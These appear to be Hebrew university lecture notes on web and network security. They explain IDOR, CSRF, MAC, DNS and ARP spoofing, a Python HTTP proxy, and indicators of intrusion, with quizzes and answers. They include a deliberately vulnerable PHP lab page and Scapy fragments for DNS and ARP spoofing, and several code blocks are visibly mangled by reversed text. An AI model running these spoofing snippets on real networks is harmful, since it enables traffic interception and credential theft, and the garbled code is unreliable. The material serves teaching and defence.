• המספר "1234" הוא מזהה הלקוח Customer ID, אם האתר לא מוודא שהמשתמש שמחובר אכן מורשה לצפות בחשבון עם מזהה "1234", תוקף יכול פשוט לשנות את ה-ID ל-"1235" כדי לנסות לגשת לחשבון של משתמש אחר:

• <https://example.com/account?id=1235>

• אם האפליקציה לא מוודאת את ההרשאות, התוקף יוכל לגשת לחשבון של המשתמש עם מזהה "1235" ולראות את המידע הפרטי שלו.

• דוגמה מהעולם האמיתי:

• חברה בינלאומית גדולה ניהלה פורטל אינטרנט ללקוחות שלה. אחד מהמתכנתים בנה פונקציה שמאפשרת ללקוחות להוריד קבצים של חשבוניות ישירות מהאתר. כל לקוח קיבל קישור ייחודי להורדת הקובץ, שנראה כך:

• <https://example.com/download?file=invoice123.pdf>

• יום אחד, אחד הלקוחות גילה שהוא יכול לשנות את שם הקובץ בקישור ל:

• <https://example.com/download?file=invoice124.pdf>

• ובכך הוריד חשבונית של לקוח אחר. החברה לא הגנה על הפונקציה כדי לוודא שרק המשתמש המתאים יכול להוריד את הקובץ שלו. פגיעות זו חשפה את כל המידע הפיננסי של הלקוחות האחרים והובילה למק עצום לחברה.

כיצד למנוע IDOR

• כיצד למנוע IDOR

• לוודא את הרשאות: תמיד יש לוודא שלמשתמש יש את ההרשאות הנדרשות לגשת לאובייקט מסוים.

• הצפנה של מזהים: שימוש במזהים מוצפנים או סודיים במקום מזהים רציפים שקל לנחש אותם.

• מניעת גישה ישירה: במקום לאפשר גישה ישירה לאובייקטים לפי מזהים, ניתן ליצור API שמטפל בבקשות ומוודא הרשאות.

APIs-ב IDOR

• המשך - IDOR ב-APIs

• בפיתוח יישומים מודרניים (Application Programming Interfaces) APIs הם מרכיב חשוב מאוד, ורבים מהם פגיעים ל-IDOR. במקרים רבים, APIs חושפים נקודות קצה endpoints שמאפשרות גישה לאובייקטים על סמך מזהים. אם ה-API לא מוודא שהמזהה שייך למשתמש שמבצע את הבקשה, התוקף יכול לשלוח בקשות עם מזהים אחרים ולקבל גישה לאובייקטים שהוא לא אמור לראות.

• [מהו בעצם API? הוא ממשק תכנות יישומים שמאפשר לתוכנות שונות לתקשר אחת עם השנייה. ניתן לדמיין את ה-API כמתווך שמקשר בין שתי תוכנות ומאפשר להן להחליף מידע בצורה מסודרת ומאובטחת].

• דוגמה: נניח שיש API שמאפשר למשתמשים לקבל מידע על ההזמנות שלהם עם הבקשה:

GET /api/orders/1234

• אם המשתמש מחובר אך ה-API לא בודק שההזמנה עם מזהה "1234" שייכת לאותו משתמש, התוקף יכול לשנות את המזהה ל-"1235" ולקבל גישה לפרטי ההזמנה של משתמש אחר.

IDOR עם קשרי גומלין במערכות מורכבות

• IDOR עם קשרי גומלין במערכות מורכבות

• כאשר מערכת מכילה מספר טבלאות או ישויות במאגר נתונים עם קשרי גומלין (כמו טבלת משתמשים וטבלת הזמנות), IDOR יכול להתרחש אם המערכת מאפשרת גישה לא ישירה לאובייקטים שמקושרים אחד לשני ללא בדיקת הרשאות מלאה.

• דוגמה: נניח שיש מערכת ניהול עובדים שבה ניתן לעובדים גישה לפרופיל שלהם ולדוחות עבודה. אם דוח העבודה מקושר למזהה העובד אך אין בדיקה שמוודאת שהדוח אכן שייך לעובד המחובר, התוקף יכול לשנות את מזהה הדוח ולהוריד דוחות של עובדים אחרים.

• Facebook Bug Bounty בפייסבוק התגלה IDOR שאיפשר למשתמשים לצפות בתמונות פרטיות של משתמשים אחרים על ידי שינוי מזהה התמונה ב-URL. הפגיעות תוקנה במהרה, והמתכנת שגילה אותה זכה בפרס במסגרת תוכנית הבאג באונטי של פייסבוק.

טכניקות מניעתיות מתקדמות

• טכניקות מניעתיות מתקדמות

1. גישה מבוססת תפקידים: Role-Based Access Control – RBAC גישה מבוססת תפקידים מוודאת שלמשתמש יש תפקיד מתאים עם ההרשאות הנדרשות לגשת למשאבים מסוימים. חשוב להגדיר תפקידים בצורה נכונה ולהבטיח שההרשאות לא משויכות למזהים בלבד אלא גם לתפקיד המשתמש.

2. בדיקות: Penetration Testing בדיקות חדירה Penetration Testing הן כלי חיוני לזיהוי פגיעות IDOR. על ידי ביצוע בדיקות ממקדורות, ניתן לחשוף פגיעות נסתרות ולתת מענה לפני שהן מנוצלות בפועל.

3. הגנה על נתיבים: Path Normalization מנגנוני Path Normalization יכולים להבטיח שהקלט של המשתמש נבדק ומנוקה לפני השימוש בו בכתובות קבצים או נתיבים, כך שכתובות לא תקינות לא יובילו לגישה לאובייקטים שאינם מאושרים.

שאלות - IDOR

• שאלות - IDOR

- 1. מהו IDOR?
- 2. כיצד תוקף יכול לנצל פגיעות IDOR?
- 3. מהם הצעדים למניעת IDOR?
- 4. מהם האתגרים בבדיקות IDOR ב-APIs?
- 5. כיצד מנגנון RBAC יכול למנוע IDOR?
- 6. מדוע חשוב לשלב בדיקות חדירה כחלק מתהליך הפיתוח?

תשובות - IDOR

• תשובות - IDOR

- 1. IDOR הוא פגיעות המאפשרת לתוקף לגשת ישירות לאובייקט על ידי שינוי מזהה האובייקט מבלי שהמערכת מוודאת את ההרשאות של
- 2. התוקף יכול לשנות את מזהה האובייקט ב-URL או בפרמטרים אחרים כדי לגשת לאובייקט אחר שלמשתמש אין הרשאות לגשת אליו.
- 3. יש לוודא הרשאות, להשתמש במזהים מוצפנים, ולמנוע גישה ישירה לאובייקטים דרך מזהים חשופים.
- 4. האתגר המרכזי הוא שמזהים רבים יכולים להיות מוצפנים או סודיים. בנוסף, פעמים רבות ה-APIs כוללים מבנה מורכב שמצריך בדיקות עמוקות של כל נקודות הקצה.
- 5. מנגנון RBAC יכול למנוע IDOR בכך שהוא מוודא שהמשתמש בעל תפקיד מתאים עם הרשאות לגשת לאובייקט מסוים, ולא רק על בסיס מזהה.
- 6. בדיקות חדירה יכולות לזהות פגיעויות שלא התגלו בתהליכי בדיקה רגילים. הן מבצעות בדיקה מעמיקה של האפליקציה, כולל ניסיונות לנצל פגיעויות כמו IDOR.

תרגול להמחשת IDOR

• תרגול להמחשת IDOR

• מטרה: להבין כיצד התקפה מבוססת IDOR יכולה לחשוף מידע רגיש על ידי שינוי פרמטרים ב-URL

• צעד 1: יצירת אתר דמה התקנת Apache ו-PHP

```
sudo apt update
```

```
sudo apt install apache2 php
```

• אח"כ אנו ניצור תיקייה לאתר דמה:

```
sudo mkdir /var/www/html/simple_idor
```

```
sudo chown www-data:www-data /var/www/html/simple_idor
```

• אח"כ אנו ניצור דף PHP ונשים בתיקייה החדשה לדוגמה:

```
sudo nano /var/www/html/simple_idor/index.php
```

• המשך - תרגול להמחשת IDOR

• מיד לאחר מכן נקבל מקום שבוא נוכל לכתוב את הקוד הזה, שמציין לנו בעצם את האתר שלנו:

```
php?>
```

```
Fake database of users //
```

```
] = users$
```

```
, 'Alice' <= 1
```

```
, 'Bob' <= 2
```

```
'Charlie' <= 3
```

```
Get user ID from URL //
```

```
;user_id = isset($_GET['user_id']) ? (int)$_GET['user_id'] : 0$
```

```
Check if user ID is valid //
```

```
} if (array_key_exists($user_id, $users))
```

```
; "!" . echo "Hello, " . htmlspecialchars($users[$user_id])
```

```
} else {
```

```
; ".echo "User not found"
```

• ודאו ששרת Apache פועל:

```
sudo service apache2 start
```

• צעד 2: בדיקת ה-IDOR וגישה לדף הדוגמה:

• פתח את הדפדפן שלך וגש לכתובת:

```
http://localhost/simple_idor/index.php?user_id=1
```

• זה אמור להראות Hello, Alice!

• נסה לשנות את פרמטר ה user_id ב-URL ל-2 או 3, ותראה את התגובה

Cross-Site Request Forgery (CSRF)

• Cross-Site Request Forgery (CSRF)

• Cross-Site Request Forgery (CSRF): היא אחת ההתקפות הנפוצות והמסוכנות בעולם אבטחת המידע. היא מתבצעת כאשר תוקף גורם למשתמש לבצע פעולה לא מכוונת באתר אינטרנט שבו הוא מחובר, בלי שהמשתמש יהיה מודע לכך.

• איך זה עובד?

• תשובה: דמיין שאתה מחובר לחשבון הבנק שלך באתר אינטרנט מסוים. באותו הזמן, אתה פתוח גם באתרים אחרים.

• מתקפה: התוקף יוצר אתר זדוני שמכיל קוד שיבצע פעולה באתר הבנק שלך. הקוד הזה יכול להיות פקודת GET או POST שמביאה את הבקשה שלך לבצע פעולה מסוימת כמו העברת כסף.

• ביצוע הבקשה: כאשר אתה מבקר באתר הזדוני של התוקף, הקוד המוזן באתר הזה יישלח בקשה לשרת הבנק שלך תוך שימוש במידע ההתחברות שלך, כי אתה מחובר אליו.

CSRF

• המשך - CSRF

• דוגמה מציאותית:

• נניח שאתה מחובר לחשבון הבנק שלך באינטרנט. אתר זדוני מגרה אותך להיכנס אליו (למשל, קישור שהגעת אליו באימייל). ברקע, האתר הזה שולח בקשה לאתר הבנק שלך להעביר כסף מחשבונך לחשבון של התוקף. מכיוון שאתה מחובר, הבקשה מתקבלת כבקשה לגיטימית.

מניעת CSRF

• מניעת CSRF

• 1. שימוש ב-Tokens: השתמש בטוקנים חד-פעמיים CSRF Tokens על כל טופס אינטרנטי. כל בקשה שמוגשת מהמשתמש חייבת לכלול את הטוקן הזה, והשרת מאמת אותו לפני ביצוע הפעולה.

• 2. בדיקת Referer Header: בדוק את שדה ה-Referer שבבקשה HTTP כדי לוודא שהבקשה מגיעה מהדף המורשה.

• 3. שימוש ב-SameSite Cookies: קבע את פרמטר ה-SameSite של העוגיות שלך ל-Strict או Lax כדי למנוע שליחה של עוגיות עם בקשות בין-אתר.

• 4. ווידוא נכונות הבקשה: בצע בדיקות נוספות על הנתונים הנשלחים מהלקוח כדי לוודא שהם תואמים למה שנדרש לצורך ביצוע הפעולה.

איך להימנע מהתקפות CSRF

• איך להימנע מהתקפות CSRF

• 1. שימוש ב-CORS (Cross-Origin Resource Sharing): מגביל את הבקשות בין דומיינים שונים ומאפשר למנוע את התקפת CSRF על ידי הגבלת המקורות שיכולים לשלוח בקשות לשרת.

• 2. אימות מבוסס CAPTCHAs: השתמש ב-CAPTCHA כדי לוודא שהבקשה מגיעה ממשתמש אמיתי ולא מאוטומציה זדונית. זה עוזר להקטין את הסיכוי להתקפות אוטומטיות.

- 3. הגבלת זכויות גישה: קבע מדיניות גישה שמגבילה את ההרשאות של כל משתמש. גם אם תוקף מצליח לבצע, CSRF הוא לא יוכל לבצע פעולות מזיקות אם למשתמש אין הרשאות גבוהות.

תשובות - CSRF

• תשובות - CSRF

- 1. CSRF Token הוא ערך ייחודי שמתווסף לכל טופס של האתר ונשלח עם הבקשה. השרת מאמת את הטוקן כדי לוודא שהבקשה מגיעה ממקור מהימן.
- 2. הוסף את הטוקן לכל טופס HTML או בקשה POST, והשרת יוודא את תקפותו לפני ביצוע הפעולה.
- 3. CSRF מנצלת את ההתחברות של המשתמש לאתר על מנת לבצע פעולות בשמו מבלי שהוא ידע על כך. XSS לעומת זאת, מתמקדת בהזרקת קוד זדוני לתוך דף האינטרנט כדי לבצע התקפות ישירות על המשתמש.
- 4. ניתן לזהות התקפת CSRF על ידי חיפוש בקשות POST שמתקבלות ללא CSRF Token, או על ידי בדיקה שהאתר לא מבצע אימות של מקור הבקשה Origin.
- 5. בקשות GET משמשות לרוב לקבלת מידע ואינן משנות נתונים בשרת, ולכן הן פחות מסוכנות. אך במקרים שבהם בקשות GET כן משנות נתונים, הן יכולות להיות מנוצלות לצורך CSRF.
- 6. הייתי ממליץ להתחיל בשימוש ב-CSRF Tokens על כל טופס ובקשה, לעדכן את העוגיות לשימוש ב-SameSite וליישם בדיקת Referer Header כדי לוודא שהבקשות מגיעות מהמקור הנכון.

נספח - שקופיות תרגול/שאלות (תמצית)

- המשך – פרופיל תוקף / 3. תוקפים פוליטיים משתמשים בשיטות מגוונות, הנה כמה מהן: / פישג: שליחת הודעות דוא"ל או הודעות מזויפות כדי לגנוב מידע רגיש או לגרום להורדת תוכנה זדונית. / דיסאינפורמציה: הפצת מידע שגוי או מגמתי במטרה להשפיע על דעת קהל או לפגוע במוניטין של יריבים. / התקפות DDoS מתקפות על מנת להפיל אתרי אינטרנט חשופים כדי לשבש תקשורת או לפגוע בשירותים חיוניים. / פריצות: חדירה למערכות מידע של ארגונים פוליטיים או ממשלתיים כדי לגנוב מידע או ליצור נזק.
- המשך – שלבי ביצוע תקיפה (תשובות) / 3. / מודעות ואימון עובדים הם קריטיים להגנה מפני התקפות: / א. מניעת פישג: עובדים מודעים יוכלו לזהות הודעות דוא"ל מזויפות ולהימנע מלחיצה על קישורים זדוניים. / ב. זיהוי פעילות חשודה: עובדים מיומנים יוכלו לזהות פעילויות חשודות ולדווח עליהן במהירות, מה שמאפשר תגובה מהירה של צוות האבטחה. / ג. עמידה בתהליכי אבטחה: הכשרת העובדים לעמידה בתהליכי אבטחה כמו ניהול סיסמאות, שימוש בכלים מוצפנים וניהול גישה, יכולה למנוע מהתוקף לנצל פגיעויות אנושיות.
- המשך - זיוף כתובת - MAC תשובות / 1. יתרונות כוללים עקיפת בקרות גישה והתמקמות מחדש במערכות רשת. סכנות כוללות פגיעות לביצוע התקפות MITM ויכולת לחבלה ברשתות. / 2. ניתן לזהות זיוף באמצעות ניתוח תעבורה ברשת, שימוש בכלים לניהול רשת, או באמצעות מדיניות אבטחה המנטרת שינויים בכתובת 3 / MAC. חשוב לדעת את שם כרטיס הרשת, את הכתובת MAC החדשה שברצונך להגדיר, ולוודא שהשינוי לא יפגע בתפקוד הרשת או בהגדרות אחרות. / 4. שינויים חוקיים כוללים פתרון בעיות רשת, שיפור פרטיות, והגנה על גישות לרשתות ציבוריות.
- המשך - זיוף כתובת - MAC שאלה / שאלה: כתיבת סקריפט Bash לזיוף כתובת MAC / כתבו סקריפט ב-Bash שמשנה את כתובת ה-MAC של כרטיס רשת מסוים. הסקריפט צריך לקבל כקלט את שם כרטיס הרשת ואת כתובת ה-MAC החדשה. / דרישות: / הסקריפט צריך לקבל מהמשתמש את שם כרטיס הרשת כמו eth0 או wlan0 / הסקריפט צריך לקבל מהמשתמש את כתובת ה-MAC החדשה כמו 00:11:22:33:44:55

• המשך - זיוף כתובת IP - תשובות / 1. סיכונים כללים חשיפת המערכת להתקפות DDoS פגיעה בפרטיות, והתקפות 2 / Man-in-the-Middle. ניתן לזהות זיוף באמצעות ניתוח תעבורה ברשת, זיהוי דפוסים חריגים, ושימוש בכלי ניטור כמו 3 / IDS/IPS. כלי כמו hping3 ו-Wireshark משמשים לזיוף ולבדיקת חבילות רשת. / 4. ניתן להגן באמצעות חומת אש מתקדמת, שימוש ב-IDS/IPS ויישום מדיניות אבטחה קפדנית שמנטרת ומגבילה תעבורה חשודה.

• סוגי התקפות אמצע נוספות / 2. DNS Spoofing / מה זה? הוא הפרוטוקול שאחראי על תרגום שמות מתחם בהתקפת DNS Spoofing התוקף מזייף תשובות DNS כדי להפנות את המשתמשים לכתובות IP מזויפות. / איך זה עובד? התוקף שולח תשובות DNS מזויפות לפני ששרת ה-DNS האמיתי מספיק לענות. המשתמשים מקבלים את התשובה המזויפת ומופנים לאתרים שהכתובת ה-IP שלהם נשלטת על ידי התוקף. / דוגמה: / אם משתמש מנסה לגשת לאתר הבנק שלו, התקפת DNS Spoofing יכולה להפנות אותו לאתר מזויף שנראה כמו אתר הבנק, ושם התוקף יכול לגנוב את פרטי ההתחברות של המשתמש.

• התקפת אמצע – תשובות חלק ב' / 1. ARP Spoofing מתבצע ברשת מקומית ומשנה את הקישור בין כתובת IP לכתובת MAC בעוד ש-DNS Spoofing מתבצע ברמה גלובלית ומשנה את הקישור בין שם מתחם לכתובת. / 2. IP / SSL Stripping מסיר את ההצפנה של חיבור HTTPS והופך אותו לחיבור HTTP לא מאובטח, מה שמאפשר לתוקף ליירט ולשנות את התעבורה. / 3. שימוש ב-DNS מאובטח, אימות התשובות המתקבלות משרתי DNS, ושימוש ב-VPN כדי להצפין את התעבורה. / 4. Wi-Fi Pineapple מאפשר לתוקף להתחבר למשתמשים ברשתות אלחוטיות וללירט את התעבורה שלהם בצורה קלה יחסית.

• שאלה לש"ב / עליכם לחקור את הקוד הבא: / if DNS in / from scapy.all import * / def spoof_dns(packet): / response = packet.copy() / (packet and packet[DNS].qd.qname == b'example.com.')

• שאלה לש"ב - המשך / 1. עליכם להסביר מה הפונקציה מקבלת לפרמטר, ומדוע דווקא פרמטר זה? / 2. הסבר בבקשה את השורה הבאה: / 3 / if DNS in packet and packet[DNS].qd.qname == b'example.com.': / מהי שורת האזנה בקוד?

• שאלה נוספת / נתון הקוד הבא: / * from scapy.all import / כתובת ה-IP של הראוטר / 'target_ip = '192.168.1.5 של הקורבן

• המשך - שאלה נוספת / 1. תנתח את הפונקציה הבאה: // def spoof_arp(target_ip, gateway_ip): // 2. תן דוגמא משלך לתקיפה כמו זו, רק עם שינוי של שליחת broadcast לכולם? / arp_response = ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst='ff:ff:ff:ff:ff:ff') / send(arp_response)

• התקפת מניעת שירות - תשובות / 1. התקפת DoS מבוצעת על ידי מחשב אחד או מקור אחד שמנסה למנוע את הגישה לשירות. לעומת זאת, התקפת DDoS כוללת מספר מחשבים המתקיפים את השרת בו זמנית, מה שמקשה עוד יותר על ההגנה. / 2. חומת אש יכולה לסנן תעבורה על פי חוקי אבטחה מוגדרים, ובכך למנוע גישה לבקשות חשודות או לא רצויות שמנסות למלא את השרת. / 3. ניתן להשתמש בחומות אש שמסננות תעבורה, בהגדרות Rate Limiting שמגבילות את מספר הבקשות, ולהשתמש בשירותי CDN שמפיצים את העומס על פני שרתים שונים.

• התקפת HTTP Proxy - תשובות / 1. פרוקסי ציבורי יכול לשמש תוקפים ליירט תעבורה ולבצע מתקפות MITM. / 2. שימוש ב-HSTS מבטיח שהדפדפן יתקשר רק בפרוטוקול HTTPS עם השרת. / 3. CSP מגביל את סוגי התוכן שניתן לטעון, ומונע התקפות כמו XSS והזרקת קוד. / 4. עקוב אחר תעבורת הרשת וחפש בקשות לא מוכרות או ניתוב בלתי צפוי.

• המשך - שאלה רצינית על HTTP Proxy / שלבים בתרגיל: / 1. קבלת בקשות HTTP מהלקוח: הפרוקסי מקבל בקשה מהלקוח (למשל, דפדפן אינטרנט שולח בקשה לטעון עמוד אינטרנט). / 2. העברת הבקשה לשרת היעד: הפרוקסי שולח את הבקשה שקיבל מהלקוח לשרת היעד. / 3. קבלת התשובה מהשרת היעד והחזרתה ללקוח: הפרוקסי מקבל את התשובה מהשרת היעד (למשל, תוכן עמוד האינטרנט) ומחזיר אותה ללקוח.

• המשך - שאלה רצינית על HTTP Proxy / איך זה בא לידי ביטוי בקוד? / מחלקת Proxy: במחלקה הזו אנחנו מגדירים מה לעשות כאשר מתקבלת בקשת GET. אנחנו מדפיסים את הנתביב (path) של הבקשה ומעבירים אותה לשרת היעד. / העברת הבקשה לשרת היעד: אנחנו משתמשים בספריית requests לשלוח את הבקשה לשרת היעד ולקבל את התשובה. / החזרת התשובה ללקוח: אנחנו מעבירים את התשובה מהשרת היעד ללקוח באמצעות פונקציות wfile.write, send_header, send_response. / ולהלן הקוד..

• המשך - שאלה רצינית על HTTP Proxy / הסבר הקוד: / פונקציית do_GET כאשר מתקבלת בקשת GET, הקוד מדפיס את הנתביב path של הבקשה. / הקוד שולח את הבקשה לשרת היעד בעזרת requests.get(self.path) ומקבל את התשובה. / # Print the request path /

```
def do_GET(self):
```

• המשך - שאלה רצינית על HTTP Proxy / הסבר הקוד: לאחר קבלת התשובה, הפונקציה מחזירה את קוד התשובה והכותרות headers ללקוח. לבסוף, התוכן body של התשובה נכתב חזרה ללקוח באמצעות wfile.write(response.content) / # Return the response from the destination server to the client / self.send_response(response.status_code) / for key, value in response.headers.items(): / self.send_header(key, value)

• המשך - שאלה רצינית על HTTP Proxy / הגדרת והפעלת השרת: תחילה מגדירים את הפורט והמטפל: הפורט שבו השרת יאזין נקבע ל-8888. / המשתנה Handler מוגדר כ- Proxy כלומר כל בקשת HTTP תטופל על ידי המחלקה Proxy / socketserver.TCPServer : וצר שרת שמאזין לכל הכתובות המקומיות בפורט 8888 ומשתמש ב- Proxy לטיפול בבקשות. / הפקודה httpd.serve_forever() מפעילה את השרת וממתינה לבקשות נכנסות. / # Set up the server

• המשך - שאלה רצינית על HTTP Proxy / אז לבסוף מה בעצם עשינו? / הגדרנו שרת פרוקסי באמצעות Python: יצרנו שרת שמאזין לבקשות HTTP מהלקוחות (כמו דפדפנים או כלי HTTP אחרים ומטפל בהן. / הפנינו את הבקשות לשרת היעד: כשהשרת שלנו מקבל בקשת HTTP, הוא מעביר אותה לשרת היעד המתאים ומקבל את התשובה ממנו. / החזרנו את התשובות ללקוח: השרת שלנו מחזיר את התשובות שהתקבלו משרת היעד ללקוח המקורי.

• המשך - שאלה רצינית על HTTP Proxy / דוגמה מעשית: נניח שמפעילים את השרת ושולחים בקשה דרך הפרוקסי: curl -x http://localhost:8888 http://example.com / בקשה זו עושה את הצעדים הבאים: / השרת שלנו מקבל את הבקשה: הפרוקסי מאזין לבקשה לטעון את http://example.com / מעביר את הבקשה לשרת היעד: הפרוקסי שולח את הבקשה לשרת היעד example.com

• שאלות - 1 / CSRF. מהו CSRF Token ואיך הוא עוזר להגן עלינו? / 2. איך ניתן להפעיל CSRF Token בפרויקט ווב? / 3. מה ההבדל בין CSRF ל-XSS? / 4. איך ניתן לזהות התקפת CSRF בבדיקת קוד? / 5. מדוע בקשות GET נחשבות פחות מסוכנות בהקשר של CSRF?

הרצאה 6 - אבטחת מידע וסייבר

הסעיפים מסודרים לפי נושאים (כותרות שקופיות), עם איחוד חזרות ושמירה על דוגמאות שמסבירות את החומר.

נושאים כלליים

- מרצה: יניב מורדוב
- תופעות חשודות באבטחת מידע
- סוגי תוכנות זדוניות
- וירוס
- תולעים Worms
- תוכנת ריגול
- סוס טוריאני
- רוגלה Spyware
- תוכנת כופר
- רשת בוטים
- SQL Injection
- Xpath Injection
- XML Injection

תופעות חשודות באבטחת מידע

- תופעות חשודות באבטחת מידע
- תופעות חשודות הן אינדיקציות לכך שמערכת או רשת נמצאות תחת סיכון או התקפה. זיהוי תופעות אלה מוקדם יכול למנוע נזקים משמעותיים ולעצור את ההתקפה לפני שהיא מספיקה לגרום לנזק ממשי.
- הנה סקירה כללית על תופעות חשודות, עם דוגמאות וסיפורים אמיתיים:
- המשך - תופעות חשודות באבטחת מידע
- ישנם עוד אפשרויות שעל ידם ניתן לזהות שמשהו חדר למערכת שלנו:
- 1. אנומליות בגישת קבצים: אנומליות בגישת קבצים כוללות כל גישה לא שגרתית לקבצים קריטיים או לקבצים שמכילים מידע רגיש.
- 2. שינויים לא מוסברים בהגדרות המערכת: שינויים בלתי מוסברים בהגדרות מערכת יכולים להוות אינדיקציה לכך שהמערכת נמצאת תחת התקפה. זה כולל שינויים בהגדרות האבטחה, פתיחת יציאות חדשות (Ports), או התקנת תוכנות לא מוכרות.
- 3. ניצול גבוה של משאבי מערכת: אם מערכת פתאום מתחילה להשתמש במשאבים רבים CPU זיכרון, או תעבורה ברשת ללא סיבה ברורה, זה עשוי להצביע על פעילות זדונית כמו תוכנות כופר Ransomware או בוטנט Botnet
- 4. מכשירים לא מוכרים המחוברים לרשת: זיהוי מכשירים לא מוכרים ברשת יכול להעיד על ניסיון חדירה לרשת הארגונית. תוקפים יכולים לחבר מכשירים זדוניים לרשת כדי לאסוף מידע או לבצע מתקפות.
- 5. התנהגות חריגה של משתמשים: אם משתמשים מתחילים לבצע פעולות שלא תואמות את דפוסי העבודה הרגילים שלהם, זה עלול להצביע על חשש לפעילות זדונית.
- 6. ניסיונות חיבור מרובים ובלתי מוצלחים: ניסיונות חוזרים ונשנים להתחבר למערכת או לחשבונות משתמש, במיוחד עם סיסמאות שגויות, עשויים להצביע על מתקפה של Brute Force שבה תוקף מנסה לנחש את הסיסמה באמצעות מספר רב של ניסיונות.
- וכבר ראינו בהרצאה מספר 4 את הנושא של אבטחה על הרשת המספקת לנו את האמצעים הנדרשים בכדי להגן במידה ואנו רואים תופעה חשודה אצלנו במערכת.

1. ניסיונות התחברות כושלים מרובים

- 1. ניסיונות התחברות כושלים מרובים
- ניסיונות חוזרים ונשנים להיכנס למערכת עם סיסמאות שגויות הם תופעה מחשידה. תופעה כזו יכולה לרמוז על התקפה מסוג Brute Force שבה תוקף מנסה לנחש את הסיסמה על ידי ניסוי וטעייה.
- סיפור: בארגון גדול, זוהו עשרות אלפי ניסיונות התחברות כושלים לחשבון מנהל מערכת בשעות הלילה. הארגון זיהה שמדובר במתקפת Brute Force חסם את כתובת ה-IP של התוקף, וחייב את כל המנהלים לשנות סיסמאותיהם.

2. תעבורה לא שגרתית ברשת

- 2. תעבורה לא שגרתית ברשת
- תעבורה גבוהה בצורה לא רגילה או תעבורה ממקור או ליעד בלתי צפויים יכולה להצביע על התקפת Distributed Denial of Service (DDoS) או על תעבורה זדונית אחרת, כמו העברת נתונים רגישים מחוץ לארגון.
- סיפור: חברת טכנולוגיה קטנה זיהתה עליה חדה בתעבורת הנתונים שלה, למרות שלא היה שינוי משמעותי בפעילות העסקית. לאחר בדיקה, התברר ששרת החברה נפרץ ושהתוקפים שלחו מידע רגיש לשרתים מחוץ למדינה. החברה עצרה את התעבורה וניתקה את השרתים הפגועים מהרשת.

3. שינויים בקבצים חיוניים

- 3. שינויים בקבצים חיוניים
- שינויים פתאומיים ולא מוסברים בקבצים קריטיים במערכת, כמו קבצי הגדרות או קבצים רגישים, יכולים להעיד על חדירה למערכת. תוקפים עשויים לשנות או להחליף קבצים אלה כדי להסוות את נוכחותם או לפגוע בתפקוד המערכת.
- סיפור: בארגון פיננסי, אחד השרתים קרס מספר פעמים ביום. בבדיקה נמצאו שינויים לא מוסברים בקבצי התצורה של השרת. לאחר חקירה מעמיקה, גילו שהשרת נפרץ על ידי תוקפים שהתקינו תוכנה זדונית לשם גניבת מידע.

4. מיילים לא שגרתיים או מיילים מכתובות חשודות

- 4. מיילים לא שגרתיים או מיילים מכתובות חשודות
- קבלת מיילים חשודים, במיוחד כאלה שמכילים קישורים או קבצים מצורפים, הם תופעה חשודה ומעידים על פשינג Phishing מטרת מיילים כאלה היא להטעות את הנמען ולהוביל אותו לחשוף פרטים רגישים או להפעיל קוד זדוני.
- סיפור: עובד בחברה קיבל מייל שנראה כאילו נשלח מהנהלת חשבונות, ובו בקשה לעדכן את פרטי החשבון הבנקאי שלו. למזלו, העובד שם לב שהמייל הגיע מכתובת חשודה. לאחר בדיקה, התגלה שמדובר בניסיון פשינג שנועד לגנוב את פרטי החשבון שלו.

5. הודעות מערכת שגויות או לא צפויות

- 5. הודעות מערכת שגויות או לא צפויות
- הודעות על טעויות או על כשלי מערכת שאינן מוכרות למשתמש יכולות להעיד על נוכחות תוכנה זדונית או על ניסיון חדירה למערכת.
- סיפור: עובד במפעל קיבל הודעה חריגה על כשל במערכת האבטחה של המחשב שלו. ההודעה נראתה שונה מהודעות השגיה הרגילות של מערכת ההפעלה. לאחר חקירה, התגלה שמדובר בתוכנה זדונית שניסתה להטעות את המשתמש ולבצע מתקפת Ransomware על המערכת.

6. התקנת תוכנות לא מוכרות או לא מאושרות

- 6. התקנת תוכנות לא מוכרות או לא מאושרות

- אם במערכת מופיעות תוכנות חדשות שלא הותקנו על ידי המשתמשים או המנהלים, זו תופעה מאוד חשודה. זה עשוי להצביע על כך שהתוקפים הצליחו לחדור למערכת והתקינו תוכנה זדונית כמו Spyware או Ransomware.
- סיפור: עובד במשרד ממשלתי גילה תוכנה חדשה שלא זיהה על המחשב שלו. לאחר בדיקה, התגלה שהתוכנה הזו שימשה לתיעוד כל הקשות המקלדת שלו ולשליחת המידע לתוקפים. זה גרם להדבקת כל הרשת במתקפה חמורה.

7. חשבונות משתמש חדשים ולא מוכרים

- 7. חשבונות משתמש חדשים ולא מוכרים
- יצירת חשבונות משתמש חדשים ללא ידיעה של המנהלים יכולה להעיד על חדירה למערכת. תוקפים עשויים ליצור חשבונות חדשים כדי לשמור על גישה קבועה למערכת.
- סיפור: בבית חולים גדול, התגלה חשבון משתמש חדש עם הרשאות גבוהות. אף אחד מהמנהלים לא ידע על קיומו של חשבון זה. לאחר חקירה, התגלה שהתוקפים יצרו את החשבון כדי לגשת לרשומות רפואיות רגישות ולגנוב אותן.

שאלות - תופעות חשודות באבטחת מידע

1. מהי תופעה חשודה וכיצד ניתן לזהות אותה?
2. כיצד ניתן להבדיל בין תקלה טכנית לבין תופעה חשודה באבטחת מידע?
3. מהם הצעדים הראשונים שיש לנקוט כאשר מזוהה תופעה חשודה?
4. מדוע חשובה היכולת לזהות תעבורה לא שגרתית ברשת?
5. איך ניתן להתמודד עם ניסיונות פשינג שנשלחים במיילים חשודים?

תשובות - תופעות חשודות באבטחת מידע

1. תופעה חשודה היא אינדיקציה לכך שמערכת או רשת עשויות להיות תחת סיכון או התקפה.
2. תקלות טכניות הן לרוב תוצאה של שגיאות מערכת או תקלות בתוכנה, והן אינן כוללות דפוס התנהגות מתמשך או מכון.
3. כאשר מזוהה תופעה חשודה, הצעדים הראשונים שיש לנקוט כוללים:
 - א. ניתוק המערכת החשודה מהרשת כדי למנוע נזק נוסף.
 - ב. זיהוי המקור של התופעה החשודה (כתובת IP קובץ חשוד, וכו').
 - ג. ביצוע בדיקות נוספות לאימות החשדות.
 - ד. דיווח לצוות האבטחה של הארגון.
 - ה. התחלת תהליך חקירה ואיסוף ראיות.
4. זיהוי תעבורה לא שגרתית ברשת חשוב כי הוא יכול להצביע על ניסיונות חדירה למערכת, על מתקפות מסוג DDoS או על שליחת מידע רגיש החוצה מהמוסד ללא אישור. ניטור תעבורה בלתי רגילה מאפשר לזהות פעילות חשודה בזמן אמת ולהגיב במהירות כדי למנוע נזקים פוטנציאליים.
5. כדי להתמודד עם ניסיונות פשינג, יש לנקוט בצעדים הבאים:
